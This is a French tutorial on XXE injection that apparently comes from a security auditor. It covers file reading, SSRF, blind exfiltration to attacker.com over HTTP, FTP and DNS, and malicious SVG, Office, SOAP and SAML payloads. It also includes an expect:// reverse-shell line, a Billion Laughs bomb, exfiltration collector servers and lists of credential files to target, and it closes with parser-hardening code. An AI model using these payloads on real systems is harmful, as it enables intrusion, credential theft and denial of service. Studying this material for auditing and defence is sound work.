L'injection XXE (XML External Entity) exploite le mécanisme d'entités externes du standard XML pour forcer un parser côté serveur à charger des ressources arbitraires — fichiers locaux, URLs internes, ou données encodées exfiltrées vers un serveur contrôlé par l'attaquant. Malgré.
L'injection XXE (XML External Entity) exploite le mécanisme d'entités externes du standard XML pour forcer un parser côté serveur à charger des ressources arbitraires — fichiers locaux, URLs internes, ou données encodées exfiltrées vers un serveur contrôlé par l'attaquant. Malgré la baisse de popularité du XML au profit du JSON, le XXE reste omniprésent en 2026 : les documents Office (DOCX, XLSX, PPTX) sont des archives ZIP contenant du XML, les APIs SOAP utilisent du XML, les fichiers SVG sont du XML, les configurations Spring/Maven/Hibernate sont du XML, et les formats de métadonnées (SAML, RSS, Atom, XHTML) reposent tous sur XML. Le OWASP Top 10 2017 classait le XXE en position A4 ; il a été fusionné dans la catégorie A05:2021 (Security Misconfiguration) non pas parce que le risque a diminué, mais parce que la correction — désactiver le traitement des DTD externes — est un paramètre de configuration. Cette apparente simplicité de la correction masque la réalité du terrain : nous trouvons des XXE exploitables dans environ 30% de nos audits d'applications d'entreprise, souvent dans des composants que personne ne soupçonne de traiter du XML.
XML, DTD et Entités : Les Mécanismes Fondamentaux
Comprendre le XXE exige de comprendre le mécanisme des entités XML. Une entité est une variable qui sera remplacée par sa valeur lors du parsing du document. Le standard XML définit plusieurs types d'entités qui constituent autant de vecteurs d'attaque potentiels.
Entités Internes
Les entités internes sont définies directement dans le DTD (Document Type Definition) du document XML. Elles sont inoffensives en elles-mêmes :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY auteur "Jean Dupont">
<!ENTITY entreprise "ACME Corp">
]>
<note>
<de>&auteur;</de>
<pour>&entreprise;</pour>
<message>Bonjour</message>
</note>
<!-- Après parsing :
<note>
<de>Jean Dupont</de>
<pour>ACME Corp</pour>
<message>Bonjour</message>
</note>
-->
Entités Externes (SYSTEM)
Les entités externes utilisent le mot-clé SYSTEM pour charger leur valeur depuis une ressource externe — fichier local ou URL. C'est le coeur du XXE :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>
<data>&xxe;</data>
</foo>
<!-- Le parser XML remplace &xxe; par le contenu de /etc/passwd -->
Les protocoles supportés dépendent du parser XML et du langage de programmation :
| Protocole | Utilisation | Java | PHP | .NET | Python | Ruby |
|---|---|---|---|---|---|---|
| file:// | Lecture de fichiers locaux | Oui | Oui | Oui | Oui | Oui |
| http:// | SSRF, exfiltration OOB | Oui | Oui | Oui | Oui | Oui |
| https:// | SSRF chiffré | Oui | Oui | Oui | Oui | Oui |
| ftp:// | Exfiltration OOB (multi-ligne) | Oui | Oui | Non | Non | Non |
| gopher:// | Interaction services internes | Oui (ancien) | Oui | Non | Non | Non |
| jar:// | Lecture dans archives JAR/ZIP | Oui | Non | Non | Non | Non |
| php://filter | Encodage base64 du contenu | Non | Oui | Non | Non | Non |
| expect:// | Exécution de commandes | Non | Oui* | Non | Non | Non |
| data:// | Inclusion de données inline | Non | Oui | Non | Non | Non |
| netdoc:// | Lecture réseau (ancien) | Oui (ancien) | Non | Non | Non | Non |
* PHP expect:// nécessite l'extension expect compilée, rarement activée en production.
Entités Paramètres
Les entités paramètres, préfixées par %, sont utilisées uniquement dans la DTD elle-même. Elles sont essentielles pour les attaques XXE aveugles :
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
]>
<foo>&exfil;</foo>
Cette distinction entre entités générales et entités paramètres est cruciale car certaines techniques d'exploitation avancées ne fonctionnent qu'avec les entités paramètres.
Point essentiel : Le XXE n'est pas un bug dans l'implémentation d'un parser XML — c'est une fonctionnalité du standard XML lui-même. Le mécanisme d'entités externes est défini dans la spécification XML 1.0 du W3C. La "vulnérabilité" est l'activation par défaut de cette fonctionnalité dans la plupart des parsers, combinée avec le traitement de données XML non fiables (input utilisateur).
Gestion des vulnérabilités
XXE Classique : Lecture de Fichiers et SSRF
L'exploitation XXE la plus directe consiste à lire des fichiers sur le système cible. L'entité externe charge le contenu du fichier, et le parser l'insère dans le document XML. Si la réponse XML est renvoyée à l'utilisateur, le contenu du fichier est visible.
Lecture de Fichiers (file://)
<!-- Lecture de /etc/passwd -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>&xxe;</name>
</user>
<!-- Réponse du serveur (si la réponse XML est reflétée) :
<user>
<name>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...</name>
</user>
-->
La lecture de fichiers a une limitation importante : si le fichier contient des caractères spéciaux XML (<, >, &), le parsing échoue. C'est le cas des fichiers XML, HTML, PHP et de nombreux fichiers de configuration. Deux techniques contournent cette limitation :
<!-- Technique 1 : Wrapper PHP php://filter avec encodage base64 -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<foo>&xxe;</foo>
<!-- Le contenu est retourné en base64, évitant les caractères XML spéciaux -->
<!-- Réponse : PD9waHAKJGRiX2hvc3QgPSAnbG9jYWxob3N0JzsK... -->
<!-- Décodage : base64 -d → fichier PHP en clair -->
<!-- Technique 2 : CDATA wrapping (nécessite un DTD externe) -->
<!-- Fichier hébergé sur le serveur de l'attaquant : evil.dtd -->
<!ENTITY % file SYSTEM "file:///var/www/html/config.php">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % wrapper "<!ENTITY all '%start;%file;%end;'>">
%wrapper;
<!-- Document XML injecté -->
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<foo>&all;</foo>
Fichiers cibles prioritaires selon le stack technologique :
# Linux - Fichiers système
/etc/passwd # Utilisateurs système
/etc/shadow # Hashes de mots de passe (souvent non lisible)
/etc/hostname # Nom d'hôte
/etc/hosts # Résolution DNS locale
/proc/self/environ # Variables d'environnement
/proc/self/cmdline # Ligne de commande du processus
/proc/net/tcp # Connexions TCP actives
/proc/net/arp # Table ARP
/home/*/.ssh/id_rsa # Clés SSH privées
/home/*/.bash_history # Historique de commandes
/root/.bash_history
# Applications web
/var/www/html/.env # Secrets Laravel/Symfony/Node
/var/www/html/wp-config.php # Credentials WordPress
/var/www/html/configuration.php # Credentials Joomla
/opt/app/config/database.yml # Credentials Rails
/opt/app/application.properties # Credentials Spring Boot
/opt/app/.git/config # Configuration Git
/opt/app/.git/HEAD # Branche Git actuelle
# Cloud
/var/run/secrets/kubernetes.io/serviceaccount/token # Token K8s
/home/*/.aws/credentials # Clés AWS
/home/*/.azure/azureProfile.json # Profil Azure
# Windows
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config
C:\Windows\win.ini
C:\Users\*\.ssh\id_rsa
SSRF via XXE
L'entité externe peut charger une URL HTTP, transformant le XXE en SSRF :
Analyse complémentaire
<!-- SSRF vers les métadonnées cloud -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<foo>&xxe;</foo>
<!-- SSRF vers un service interne -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://10.0.0.5:8080/admin/users">
]>
<foo>&xxe;</foo>
<!-- Port scanning via timing et erreurs -->
<!-- Port ouvert : réponse rapide (contenu de la réponse HTTP) -->
<!-- Port fermé : erreur de connexion -->
<!-- Port filtré : timeout -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://10.0.0.5:22/">
]>
<foo>&xxe;</foo>
Blind XXE : Exfiltration Out-of-Band
Dans de nombreux cas, la réponse XML n'est pas renvoyée à l'utilisateur. L'application parse le XML, extrait les données, et retourne une réponse formatée différemment (HTML, JSON). Le contenu de l'entité externe n'est jamais visible. C'est le scénario du "blind XXE" — et il est tout aussi exploitable.
Exfiltration via HTTP (OOB-XXE)
La technique standard combine des entités paramètres avec un DTD externe hébergé sur le serveur de l'attaquant :
<!-- Étape 1 : L'attaquant héberge un fichier DTD malveillant -->
<!-- http://attacker.com/xxe.dtd -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/collect?data=%file;'>">
%eval;
%exfil;
<!-- Étape 2 : L'attaquant injecte le XML suivant dans l'application -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">
%xxe;
]>
<foo>quelque chose</foo>
<!-- Résultat :
1. Le parser charge xxe.dtd depuis le serveur de l'attaquant
2. %file; est résolu : contenu de /etc/hostname
3. %eval; crée une entité qui contient l'URL avec le contenu exfiltré
4. %exfil; déclenche la requête HTTP vers attacker.com
5. L'attaquant reçoit : GET /collect?data=web-server-prod01 HTTP/1.1
-->
Le serveur de collecte de l'attaquant est trivial à mettre en place :
# Serveur de collecte Python
from http.server import HTTPServer, SimpleHTTPRequestHandler
import urllib.parse
class XXECollector(SimpleHTTPRequestHandler):
def do_GET(self):
# Extraire les données exfiltrées
parsed = urllib.parse.urlparse(self.path)
params = urllib.parse.parse_qs(parsed.query)
if 'data' in params:
print(f"\n[+] Données exfiltrées : {params['data'][0]}")
# Servir les fichiers DTD
if self.path.endswith('.dtd'):
return super().do_GET()
self.send_response(200)
self.end_headers()
def log_message(self, format, *args):
print(f"[*] {args[0]}")
print("[*] Serveur XXE OOB en écoute sur :8080")
HTTPServer(('0.0.0.0', 8080), XXECollector).serve_forever()
Exfiltration via FTP (pour les données multi-lignes)
L'exfiltration HTTP a une limitation : les données contenant des retours à la ligne ou des caractères spéciaux d'URL peuvent tronquer ou corrompre la requête. Le protocole FTP est plus tolérant — il envoie les données en mode binaire :
<!-- DTD pour exfiltration via FTP -->
<!-- http://attacker.com/xxe-ftp.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'ftp://attacker.com:2121/%file;'>">
%eval;
%exfil;
<!-- L'attaquant lance un serveur FTP de collecte -->
# Serveur FTP de collecte (Python)
# Utilise xxeserv ou un serveur FTP minimaliste
# pip install pyftpdlib
import os
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
from pyftpdlib.authorizers import DummyAuthorizer
class XXEFTPHandler(FTPHandler):
def on_connect(self):
print(f"[+] Connexion FTP de {self.remote_ip}")
def ftp_RETR(self, path):
# Le chemin contient les données exfiltrées
print(f"[+] Données exfiltrées via FTP :\n{path}")
authorizer = DummyAuthorizer()
authorizer.add_anonymous("/tmp/ftp", perm="elradfmw")
handler = XXEFTPHandler
handler.authorizer = authorizer
handler.passive_ports = range(60000, 60100)
server = FTPServer(("0.0.0.0", 2121), handler)
server.serve_forever()
Exfiltration via DNS
Si HTTP et FTP sortants sont bloqués par le firewall, le DNS traverse presque toujours. L'exfiltration encode les données dans le sous-domaine de la requête DNS :
Analyse complémentaire
<!-- DTD pour exfiltration via DNS -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://%file;.attacker-dns.com/'>">
%eval;
%exfil;
<!-- La résolution DNS de [hostname].attacker-dns.com
est enregistrée par le serveur DNS de l'attaquant -->
Point essentiel : Le blind XXE est aussi dangereux que le XXE classique. La différence est uniquement dans le canal d'exfiltration : au lieu de lire les données directement dans la réponse, l'attaquant les reçoit via HTTP, FTP ou DNS. L'absence de données dans la réponse de l'application ne signifie pas que l'application est sûre — il faut tester systématiquement avec un serveur de callback (Burp Collaborator, interact.sh).
Error-Based XXE : Extraction via Messages d'Erreur
Quand l'exfiltration OOB (out-of-band) est impossible (pas de connexion sortante vers internet), les messages d'erreur du parser XML deviennent un canal d'extraction. La technique provoque une erreur de parsing qui inclut le contenu du fichier ciblé dans le message d'erreur.
<!-- Error-based XXE : le contenu du fichier apparaît dans l'erreur -->
<!-- DTD malveillant (hébergé localement ou via XXE de fichier DTD système) -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!-- Le parser tente d'ouvrir le fichier /nonexistent/web-server-01
et retourne une erreur :
"java.io.FileNotFoundException: /nonexistent/web-server-01 (No such file)"
→ Le hostname est exfiltré dans le message d'erreur -->
Cette technique nécessite que les messages d'erreur soient visibles par l'attaquant. Dans les applications web, les erreurs sont souvent cachées en production, mais elles apparaissent dans les réponses API, les logs accessibles, ou les pages d'erreur personnalisées qui incluent le détail de l'exception.
Exploitation via DTD Locaux
Si les connexions sortantes sont bloquées et que l'attaquant ne peut pas héberger un DTD externe, il peut exploiter les DTD déjà présents sur le système cible. La plupart des systèmes Linux incluent des fichiers DTD dans /usr/share/xml/ ou /usr/share/sgml/ :
<!-- Exploitation via un DTD local existant sur le serveur -->
<!-- Redéfinition d'une entité paramètre dans un DTD système -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<foo>test</foo>
<!-- DTD locaux communs à tester :
/usr/share/yelp/dtd/docbookx.dtd (GNOME)
/usr/share/xml/fontconfig/fonts.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/usr/local/tomcat/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd
/usr/share/xml/dbus-1/introspect.dtd
-->
XXE via Upload de Fichiers
L'un des vecteurs XXE les plus sous-estimés est l'upload de fichiers qui sont traités côté serveur par un parser XML. De nombreux formats de fichiers courants sont du XML ou contiennent du XML.
SVG (Scalable Vector Graphics)
Les fichiers SVG sont du XML pur. Les applications qui acceptent des images SVG (avatars, logos, illustrations) et les traitent côté serveur (redimensionnement, conversion, affichage) sont vulnérables :
<!-- avatar.svg — fichier SVG malveillant -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500">
<text x="10" y="50" font-size="12">&xxe;</text>
</svg>
<!-- Si le SVG est rendu en image (PNG/JPEG), le contenu de /etc/passwd
sera visible dans l'image générée -->
<!-- SVG avec SSRF -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://attacker.com/callback" width="100" height="100"/>
<text x="10" y="50">&xxe;</text>
</svg>
DOCX, XLSX, PPTX (Microsoft Office Open XML)
Les fichiers Office modernes sont des archives ZIP contenant des fichiers XML. En décompressant un fichier DOCX et en injectant une entité XXE dans l'un des fichiers XML internes, on obtient un document Office malveillant :
# Création d'un DOCX malveillant
# 1. Créer un document Word légitime (document.docx)
# 2. Décompresser
mkdir xxe-docx && cd xxe-docx
unzip ../document.docx
# 3. Modifier word/document.xml pour ajouter l'entité XXE
# Avant la balise racine, ajouter :
# <!DOCTYPE w:document [
# <!ENTITY xxe SYSTEM "file:///etc/passwd">
# ]>
# Et dans le corps du document, remplacer du texte par &xxe;
# 4. Recompresser
zip -r ../malicious.docx . -x ".*"
# Structure d'un DOCX :
# [Content_Types].xml ← Peut contenir XXE
# _rels/.rels ← Peut contenir XXE
# word/document.xml ← Cible principale
# word/styles.xml ← Peut contenir XXE
# word/settings.xml ← Peut contenir XXE
# word/_rels/document.xml.rels ← Peut contenir XXE (liens externes)
<!-- word/document.xml modifié -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE w:document [
<!ENTITY xxe SYSTEM "http://attacker.com/xxe-docx-callback">
]>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body>
<w:p>
<w:r>
<w:t>&xxe;</w:t>
</w:r>
</w:p>
</w:body>
</w:document>
Les applications vulnérables incluent : les systèmes de gestion documentaire (DMS), les outils de conversion de documents, les extracteurs de métadonnées, les systèmes de recherche full-text qui indexent le contenu des documents, et les applications qui importent des données depuis des fichiers Excel.
XLSX (Excel)
# Structure d'un fichier XLSX
# xl/worksheets/sheet1.xml ← Données des cellules
# xl/sharedStrings.xml ← Textes partagés
# xl/styles.xml ← Styles
# [Content_Types].xml ← Types MIME
# Injection XXE dans xl/worksheets/sheet1.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE worksheet [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheetData>
<row r="1">
<c r="A1" t="str">
<v>&xxe;</v>
</c>
</row>
</sheetData>
</worksheet>
Autres Formats XML Exploitables
<!-- RSS Feed malveillant -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE rss [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<rss version="2.0">
<channel>
<title>&xxe;</title>
<item>
<title>Article</title>
<description>&xxe;</description>
</item>
</channel>
</rss>
<!-- SAML Response malveillante -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE samlp:Response [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:Subject>
<saml:NameID>&xxe;</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
<!-- SOAP Request malveillante -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soap:Envelope [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetUser>
<username>&xxe;</username>
</GetUser>
</soap:Body>
</soap:Envelope>
<!-- Fichier de configuration XML (Plist iOS/macOS) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<plist version="1.0">
<dict>
<key>data</key>
<string>&xxe;</string>
</dict>
</plist>
XXE dans les APIs SOAP et REST
Les APIs SOAP utilisent nativement le XML, ce qui en fait des cibles naturelles pour le XXE. Les APIs REST acceptent parfois le XML en plus du JSON — un fait souvent ignoré par les développeurs et les testeurs.
API REST : Changer le Content-Type
De nombreux frameworks web (Spring Boot, Express.js avec body-parser, ASP.NET) acceptent automatiquement plusieurs formats de données basés sur le header Content-Type. Une API qui attend du JSON peut aussi accepter du XML :
# Requête légitime en JSON
POST /api/users HTTP/1.1
Content-Type: application/json
{"username": "jean", "email": "jean@example.com"}
# Même requête convertie en XML avec XXE
POST /api/users HTTP/1.1
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<username>&xxe;</username>
<email>jean@example.com</email>
</user>
# Variantes de Content-Type à tester :
# application/xml
# text/xml
# application/xhtml+xml
# application/x-www-form-urlencoded (certains parsers)
# image/svg+xml
Ce vecteur est fréquent en Spring Boot où le Jackson XML module est souvent inclus comme dépendance transitive et active automatiquement le support XML. L'application semble être "JSON only" mais accepte du XML sans que les développeurs le sachent.
SOAP : Exploitation Directe
# SOAP endpoint typique — injection XXE dans l'enveloppe
POST /ws/UserService HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "getUser"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soap:Envelope [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:usr="http://example.com/users">
<soap:Header/>
<soap:Body>
<usr:GetUserRequest>
<usr:UserId>&xxe;</usr:UserId>
</usr:GetUserRequest>
</soap:Body>
</soap:Envelope>
XXE vers RCE : PHP expect:// et Autres Vecteurs
Dans certaines configurations, le XXE peut être escaladé vers une exécution de code à distance (RCE).
PHP expect://
Si l'extension PHP expect est installée et activée (rare en production, plus fréquent sur les serveurs de développement), le wrapper expect:// exécute des commandes système :
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://id">
]>
<foo>&xxe;</foo>
<!-- Réponse : uid=33(www-data) gid=33(www-data) groups=33(www-data) -->
<!-- Reverse shell via expect:// -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'">
]>
<foo>&xxe;</foo>
XXE → SSRF → RCE (Chaîne d'Exploitation)
Le XXE permet d'interagir avec des services internes via SSRF. Si un service interne non authentifié permet l'exécution de code (Redis, Gophish, Jenkins sans auth, Apache Solr), la chaîne XXE → SSRF → RCE est complète :
<!-- XXE vers Redis (via HTTP API de Redis si disponible) -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379/">
]>
<foo>&xxe;</foo>
<!-- XXE vers Jenkins interne (pas d'auth) -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://jenkins.internal:8080/script?script=println 'id'.execute().text">
]>
<foo>&xxe;</foo>
<!-- XXE vers Kubernetes API -->
<!DOCTYPE foo [
<!ENTITY token SYSTEM "file:///var/run/secrets/kubernetes.io/serviceaccount/token">
]>
<foo>&token;</foo>
<!-- Puis utiliser le token pour interagir avec l'API K8s -->
XXE et Billion Laughs (Déni de Service)
L'attaque Billion Laughs (ou XML Bomb) utilise des entités imbriquées de manière exponentielle pour consommer toute la mémoire du serveur :
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
<!-- lol9 se résout en 10^9 (1 milliard) de "lol"
→ environ 3 Go de mémoire pour un fichier de quelques centaines d'octets -->
La protection contre le Billion Laughs est implémentée dans la plupart des parsers modernes (limite d'expansion d'entités), mais elle doit être vérifiée en audit.
Outils d'Exploitation XXE
Plusieurs outils automatisent la détection et l'exploitation des XXE.
XXEinjector
XXEinjector de Enjamber automatise l'exfiltration via XXE avec support de multiples protocoles et techniques :
# Installation
git clone https://github.com/enjoiz/XXEinjector
cd XXEinjector
# Exploitation basique (exfiltration du fichier /etc/passwd)
ruby XXEinjector.rb \
--host=attacker.com \
--file=/etc/passwd \
--httpport=8080 \
--oob=http \
--phpfilter
# Énumération de répertoires
ruby XXEinjector.rb \
--host=attacker.com \
--file=/var/www/ \
--httpport=8080 \
--oob=http \
--enumports=80,443,8080,8443
# Avec la requête HTTP originale (fichier request.txt)
ruby XXEinjector.rb \
--host=attacker.com \
--file=/etc/hostname \
--httpport=8080 \
--oob=ftp \
--path="XXEINJECT" \
--request=request.txt
Burp Suite : Scanning Automatique
Burp Suite Professional détecte automatiquement les XXE lors du scanning actif. Il teste les injections XXE dans les paramètres XML, change le Content-Type pour tester le support XML, et utilise le Collaborator pour détecter les blind XXE. En audit, nous configurons Burp pour tester systématiquement chaque endpoint avec les variantes XML.
Outils CLI Légers
# dtd-finder : trouver les DTD exploitables sur un système
# https://github.com/nickcrisafi/dtd-finder
java -jar dtd-finder.jar /usr/share/ \
--output local-dtds.json
# oxml_xxe : automatiser la création de fichiers Office malveillants
# https://github.com/BuffaloWill/oxml_xxe
ruby oxml_xxe.rb --file malicious.docx --xxe "file:///etc/passwd"
# XXExploiter : framework complet d'exploitation XXE
# https://github.com/luisfontes19/xxexploiter
xxexploiter --url http://target.com/api/upload \
--method POST \
--param data \
--technique oob \
--callback attacker.com:8080
Cas Réels d'Exploitation XXE
L'analyse de cas réels d'exploitation XXE illustre la diversité des vecteurs d'attaque et l'impact potentiel.
Facebook (2014, Bug Bounty) : Un chercheur a découvert un XXE dans la fonctionnalité d'import de documents OpenOffice de Facebook Careers. En uploadant un fichier ODT (format OpenDocument, basé sur XML) contenant une entité XXE, il pouvait lire des fichiers sur les serveurs de Facebook. L'accès à /etc/passwd a confirmé la vulnérabilité. Bounty : 33 500 USD. Ce cas illustre que même les géants de la tech peuvent avoir des XXE dans des fonctionnalités secondaires de traitement de documents.
Uber (2016, Bug Bounty) : Un XXE a été trouvé dans le parser XLSX d'un outil interne d'Uber. L'upload d'un fichier Excel malveillant déclenchait la résolution d'entités externes, permettant de lire des fichiers sur le serveur interne. L'exploitation a révélé des variables d'environnement contenant des credentials AWS. Bounty : 10 000 USD.
Microsoft SharePoint (CVE-2019-0604) : Une vulnérabilité XXE dans le composant de workflow de SharePoint permettait l'exécution de code à distance. L'exploitation combinait un XXE pour lire des fichiers de configuration internes, puis utilisait les informations obtenues pour une désérialisation non sécurisée menant à RCE. Cette vulnérabilité a été activement exploitée dans la nature.
SAP NetWeaver (CVE-2020-6287, RECON) : Une vulnérabilité critique (CVSS 10.0) dans SAP NetWeaver AS Java incluait un composant XXE. L'exploitation permettait de lire des fichiers de configuration contenant des credentials d'administration, menant à la compromission totale du système SAP. Environ 40 000 instances exposées sur internet étaient vulnérables au moment de la divulgation.
Défense : Configuration des Parsers XML par Langage
La protection contre le XXE consiste à désactiver le traitement des DTD et des entités externes dans le parser XML. La configuration varie selon le langage et le parser utilisé.
Java
// Java - DocumentBuilderFactory (DOM)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Désactiver les DTD (protection complète)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// Si les DTD sont nécessaires, désactiver les entités externes
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(inputStream);
// Java - SAXParserFactory
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
// Java - XMLInputFactory (StAX)
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
// Java - Transformer
TransformerFactory tf = TransformerFactory.newInstance();
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
// Java - SchemaFactory
SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
sf.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
sf.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
PHP
// PHP - libxml (affecte tous les parsers basés sur libxml)
// Désactiver le chargement d'entités externes
libxml_disable_entity_loader(true); // Déprécié en PHP 8.0+
// PHP 8.0+ : les entités externes sont désactivées par défaut
// Mais vérifier que LIBXML_NOENT n'est pas utilisé
// SimpleXML - configuration sécurisée
$xml = simplexml_load_string($data, 'SimpleXMLElement',
LIBXML_NONET | LIBXML_NOCDATA);
// DOMDocument - configuration sécurisée
$dom = new DOMDocument();
$dom->loadXML($data, LIBXML_NONET | LIBXML_NOCDATA);
// NE PAS utiliser :
// LIBXML_NOENT → active la substitution d'entités (DANGEREUX)
// LIBXML_DTDLOAD → charge les DTD externes (DANGEREUX)
// XMLReader - configuration sécurisée
$reader = new XMLReader();
$reader->xml($data, null, LIBXML_NONET | LIBXML_NOCDATA);
$reader->setParserProperty(XMLReader::SUBST_ENTITIES, false);
$reader->setParserProperty(XMLReader::LOADDTD, false);
Python
# Python - defusedxml (bibliothèque recommandée)
# pip install defusedxml
import defusedxml.ElementTree as ET
# defusedxml désactive automatiquement les entités externes
tree = ET.parse("document.xml") # Sûr
root = ET.fromstring(xml_string) # Sûr
# Si defusedxml n'est pas disponible, configurer lxml manuellement
from lxml import etree
# Parser sécurisé
parser = etree.XMLParser(
resolve_entities=False,
no_network=True,
dtd_validation=False,
load_dtd=False,
)
tree = etree.parse("document.xml", parser)
# NE PAS utiliser xml.etree.ElementTree directement
